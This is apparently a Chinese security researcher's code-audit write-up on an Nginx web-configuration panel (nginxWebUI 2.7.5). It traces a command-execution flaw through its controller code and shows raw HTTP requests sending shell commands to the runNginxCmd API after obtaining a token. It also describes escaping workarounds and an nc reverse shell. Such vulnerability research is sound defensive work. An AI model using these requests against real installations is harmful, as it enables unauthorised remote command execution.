某Nginx配置管理平台代码审计分析
前言
年初的时候,做代码审计的时候whippet师傅给分享下面的这个漏洞,所以拿出来分析一下,确实是个0day,不是,还没人分析过,或许是nday???有意思的点儿可能在实现RCE的地方吧。
介绍
nig****UI可以使用WebUI配置nginx的各项功能,包括http协议转发、tcp协议转发、反向代理、负载均衡、ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。
环境搭建
下载源文件直接启动
下载地址github下载源码,手动搜索即可,当前版本为2.7.5
访问8090端口即可
如果自己本地不想安装nginx的话,跳过安装步骤,更改访问目录。
- 使用docker搭建。搭建环境Ubuntu16.04
拉取镜像
docker pull cym1102/nginxwebui:latest
docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host cym1102/nginxwebui:latest
docker ps
访问
http://192.168.166.130:8080
初始化管理员设置之后登录
命令执行
漏洞触发点
远程服务器
->批量命令
执行ifconfig成功
这里使用whoami的时候容易看不到,刚开始以为不能执行,,,,
可以尝试创建一个文件
ls查看创建成功
当然在构造payload的时候拼接语句的话只要符合linux语法都可。
实现RCE
本来是想能不能直接反弹shell的
这里会直接将&符作为连接符去执行了,使用反斜杠去转译,反斜杠被转译为了双反斜杠,这里尝试了很久没绕过,有兴趣的师傅可以尝试一下
使用base64做编码反弹尝试
base编码格式这里会使用|符号,自然在这里这里行不通,因为直接执行了最后的命令,在linux下使用该符号执行命令,会自动执行最后的语句
使用\防转义
但是这里反斜杠被转译为了双反斜杠,那么这是行不通的,那么这个时候只能选择其它方式实现RCE,使用nc反弹
windows上起的nc,发现回连
此时使用nc反弹已经拿到了shell。
代码分析
后台自带启动功能,必定是能够使用命令去执行,这个点儿的话其实也不是不能限制,限制能够能够执行的命令,在一定程度上也算不得可控的命令执行
ctrl+N
搜索cmd字段
搜索contrller.adminPage.RemoteController类的cmdOver方法
在329行的时候传入cmd参数,参数就是对nginx的启动或者停止,331的时候调用runcmd方法
类src\main\java\com\cym\controller\adminPage\ConfController.java
338行使用的是put方法传参,直接执行了前面输入的cmd参数内容。
同理这里ctrl+n搜索调用runcmd方法的类
那么这里就是第二个产生命令执行和rce的地方了。但是在调用的时候发现其实这里使用是有限制的
ginxwebui\src\main\java\com\cym\controller\api\NginxApiController.java
该类属于api路径,传参方式POST
构造数据包
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10 cmd=whoami
不行???思路有问题么,继续分析,在api调用给的时候有关于token的认证,在上面的数据包中我们抓包,用户身份字段是cookie,那么这个token的作用优势什么呢?
nginxwebui\target\classes\com\cym\controller\api\TokenController.class
token的作用也必定是身份认证使用的,这里我查看了接口文档
直接调用了接口
到这里基本上是可以确定了接口文件的和接口类的作用,使用的身份认证字段为token,那么想要利用接口的话必须
找到接口权限,然后开启
获取token
http://192.168.166.130:8080/token/getToken?name=admin&pass=1qaz@WSX
获取密码文件接口,构造数据包
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://192.168.166.130:8080Connection: closeCookie: Hm_lvt_8acef669ea66f479854ecd328d1f348f=1653381776,1653447427; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1653473865; Content-Length: 10 cmd=whoami
获取到所有的密码文件信息,这个时候调构造请求payload去进行命令执行
POST /api/nginx/runNginxCmd HTTP/1.1Host: 192.168.166.130:8080Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW X-Requested-With: XMLHttpRequest Origin: http://192.168.154.129:8080 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Token: d979abda-db85-4f08-b7bd-0e054df0e02a Content-Type: application/x-www-form-urlencoded Content-Length: 10 cmd=whoami
OK,,,,结束。
小结
还是挺有意思的,新版本的不确定还存不存在能RCE,有兴趣的师傅可以试试,大佬勿喷。
